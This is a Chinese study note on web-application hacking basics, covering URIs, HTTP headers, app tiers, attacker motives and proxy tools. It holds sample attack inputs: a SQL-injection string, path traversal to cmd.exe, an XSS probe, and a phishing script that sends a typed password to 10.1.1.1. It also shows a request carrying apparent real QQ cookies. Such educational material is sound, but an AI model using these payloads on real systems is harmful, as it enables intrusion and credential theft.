注:需先了解HTTP請求頭的含義. 在:HTTP 協議詳解 中php
WEB應用:經過超文本傳輸協議HTTP訪問的應用.css
1、Web應用入侵html
3種入侵方法:web
a.經過圖形化Web界面直接操縱應用.瀏覽器
b.篡改統一資源標識符(URI).緩存
c.篡改沒有包含在URI中的HTTP元素.安全
2、GUI Web入侵服務器
即在web瀏覽頁面中直接操做,如在用戶名框中直接輸入 :'OR 1=1--cookie
3、URI 入侵網絡
RFC3986描述了URI(及其子集,包括更經常使用的術語統一資源定位符(URL))的結構和語法. 其中URI 以下:
scheme://authority/path?query
URI描述用於訪問服務器(authority)上的一個資源(path)或者應用(query)的協議(scheme).
注:標準HTTPS(無客戶端驗證)除了使客戶端和服務器之間的通訊更難以竊聽和干擾之外,對web應用的總體安全性沒有任何做用 (其會話數據受SSL或TLS協議保護.)
服務器:一臺或者多臺運行HTTP軟件的計算機,(一般由其DNS名如www.somesite.com指定的計算機),web 應用協議基本上都是HTTP協議.
path: 描述了應用文件所在文件夾或者目錄的層次結構.
查詢: 包含了須要傳遞給服務器上保存的應用的可執行文件的參數.如:*.asp,*.aspx,*.php等等
"?" 右變得部分稱爲查詢串.
eg: http://server/file.html
http://server/folder/application?parameter1=value1¶meter2=value2
http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel
URI入侵的簡單方式:
https://server/folder/../../../../cmd.exe
http://server/folder/application?parameter1=aaaaa...256 a's...]
http://server/foldrer/application?parameter1=<script>'alert'</script>
4、請求頭入侵,方法,頭和主體
請求頭通常是不可見的,需藉助工具纔可查看.
大部分WEB應用只是用兩種方法:
GET和POST,兩者都向服務器發送信息,但二者有一個重要的不一樣點,GET將全部的數據保留在URI(也就是地址欄)中,而POST的請求的主體(body)中放置數據.(在URI中不可見)
POST請求並無比GET請求方式更好的保護數據,可是GET在發送數據時更可能在各類地方暴露數據,如客戶端緩存和web服務器日誌
HTTP頭中相關的安全事例:
Authorization:是否使用某種類型的驗證.
Cache-control:是否將請求的一個副本緩存在中間代理服務器上.
Referer:列出瀏覽器到達當前連接的源URI,有時用於早期的容易攻破的驗證方案.
cookies:經常使用於存儲自定義應用驗證/會話令牌.
eg:
GET /cgi-bin/test.cgi HTTP/1.1 Host: analy.qq.com Connection: keep-alive Accept: image/webp,image/*,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36 Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_ Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284;
5、資源,入侵就是爲了獲取資源
web應用通常分爲三層:
表示層:通常是超文本表示語言(HTML)生成的靜態頁面,或者由動態腳本生成。
邏輯層:負責前臺業務和後臺數據的交互.
數據層:誘人的數據,如客戶數據,信用卡號碼等(這纔是最關心的)
文件類型:
*.html : as static HTML file
*.php : a HyperText Preprocessor, or PHP, script
*.asp : a Microsoft Active Server Pages, or ASP script
*.aspx : a Microsoft ASP.NET script
動態腳本能夠做爲邏輯層,接受輸入參數和值.
http://server/script.php?input1=foo&fnput2=bar (&爲兩個變量的連接符)
http://server/script.aspx?date=friday&time=1754
如下多是獨立的可執行文件而不是腳本,
http://server/app?input1=foo&input2=bar
6、驗證、會話和受權
HTTP是無狀態的,協議自己不維護任何會話狀態。
可是Web開發人員已經試圖解決基本協議的這個問題,方法就是採用本身的驗證、會話管理和受權功能,來實施某種形式的驗證,而後將受權/會話信息隱藏在cookie中來實現.
7、Web客戶端與HTML
根據對Web應用的定義,Web應用客戶端是可以理解HTTP程序,規範化的Web應用客戶端是Web瀏覽器,它的語言是HTTP(以及其餘協議)並用超文本標籤語言(HTML)以及其餘標記語言表現
Web瀏覽器看上去彷佛很簡單。因爲HTML等語言的擴展性,看似靜態的Web內容中能夠嵌入大量的功能.例:
<html>
<SCRIPT Language="Javascript">
var password = prompt('Your seesion has expired. Please enter your password to continue.',' '); location.href="https://10.1.1.1/pass.cgi?password="+password;
</SCRIPT>
</html>
除腳本之外,ActiveX程序、遠程映像「Web bugs」以及層疊樣式單(css)文件均可以在客戶端進行惡意的活動,使用的僅僅是簡單的ASCII文本。
不斷增長的客戶端技術包括富互聯網應用(Rich Internet Application,RIA)、用戶生成內容(User-Generated Contents,UGC)、AJAX和移動設備「應用商城」,一場風暴正在興起.(WEB安全!!!)
8、其餘協議
a.Web分佈式創做和版權管理(Web-based Distributed Authoring and Versioning,WebDAV)
WebDAV在RFC4918中定義,描述了用於遠程Web服務器上的多種內容創做和管理機制.
b.基於XML的web服務中,簡單對象訪問協議(SOAP)是基於XML的用於web服務之間消息和RPC風格通訊的協議.
c.以及JavaScript和XML(AJAX)和簡易信息聚合(Relly Simple Syndication,RSS),RSS是一種基於XML的輕量級機制,用於在網站和客戶端之間動態地反饋變化的「新聞提要」(RSS訂閱.)
d.同源策略(Same-origin Policy),最初期是單個客戶和單個網站之間的一種簡單關係。如今更復雜.
9、爲何攻擊Web應用
1.廣泛存在:今天Web應用無處不在.
2.簡單的技術:大部分基於文本,操做應用輸入簡單,和攻擊複雜的操做系統簡直不在一個量級.
3.匿名性:有不少免責區域(隨着發展愈來愈少),而且大量的HTTP/S代理,使得請求難以追蹤.
4.繞開防火牆:大部分典型的防火牆策略容許入站的HTTP/S.
5.定製代碼:因爲Web技術易於理解,門檻低,大部分Web應用由缺少又經驗的開發人員製做.
6.不成熟的安全性:HTTP甚至沒有實施分離單獨的會話,許多開發人員在本身編寫HTTP的基本驗證和受權信息而且會出錯.
7.不斷地變化:許多人不斷地接觸WEB應用,開發人員,系統管理員,內容管理者,普通用戶,不多有人受過安全方面的培訓,難保會執行相關的安全策略.
8.錢.
10、誰、什麼時候、何處
誰,離校的無聊少年,有組織的犯罪。
什麼時候何處?全天候,全部地方(甚至內部網絡)
11、工具
Web瀏覽器、瀏覽器擴展、HTTP代理和命令行工具.
1.Web瀏覽器:篡改瀏覽器地址欄中的URI文本。
2.瀏覽器擴展:IE擴展(TamperIE、IEWatch、IE Headers)。Firefox擴展(LiveHTTPHeaders、TamperData、Modify Headers、)
3.HTTP代理:HTTP代理可以分析和篡改非瀏覽器的HTTP客戶端,這是瀏覽器擴展所作不到的。(IEToys)
Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬蟲、會話ID分析、自動化腳本接口、Fuzzer、用於全部流行Web個是【Base6四、MD5等】的編碼器/解碼器工具,以及Web服務描述語言(WSDL)和SOAP解析程序等.)
ProxMon: 主要目的是自動化完成Web應用滲透測試中乏味的部分,減小工做量.
Fiddler : 自動配置IE使用它的本地代理,Localhost:8888。其餘瀏覽器需手動配置.
Burp Intruder : 基於JAVA的HTTP代理。
Google Ratproxy :是爲有經驗的安全專家設計的,須要對Web應用安全問題有着充分的理解,能有效地使用它而且理解其輸出.
4.命令行工具:
Ratproxy: 不建議經過Ratproxy使用Web爬蟲或者類似工具,只限於手工測試.
cURL : 免費的多平臺命令行工具,用於操縱HTTP和HTTPS.
netcat : 「瑞士軍刀」,將網絡通訊的原始輸入輸出轉儲到命令行.
5.較老的工具:
Achilles、#StakeWebProxy、Form Scallpel、WASAT(web驗證分析工具)以及WebSleuth
通常來講,越現代的工具越好.
12、參考與延伸閱讀
RFC索引搜索引擎 | http://www.rfc-editor.org/rfcsearch.html |
HTTP1.0 | RFC1945 |
HTTP1.1 | RFC2616 |
HTTP「Origin」首部 | https://wiki.mozilla.org/Security/Origin |
HTML | http://en.wikipedia/wiki/HTML |
HTML5 | http://en.wikipedia/wiki/HTML5 |
統一資源標識符(URI) | http://tools.ietf.org/html/rfc3986 http://en.wikipedia.org/wiki/Uniform_Resource_Identifier |
HTTPS | http://en.wikipedia.org/wiki/HTTPS |
SSL(安全套接字層) | http://wp.netscape.com/eng/ssl3 |
TLS(傳輸層安全) | http://www.ietf.org/rfc/rfc2246.txt |
可擴展性標記語言(XML) | http://www.w3.org/XML/ |
WSDL | http://www.w3.org/TR/wsdl |
UDDI | http://www.uddi.org |
SOAP | http://www.w3.org/TR/SOAP |
WebGL | http://en.wikipedia.org/wiki/WebGL |
Google Native Client(Naci) | http://en.wikipedia.org/wiki/Google_Native_Client |
OWASP Top10 http://www.owasp.org/documentation/topten.html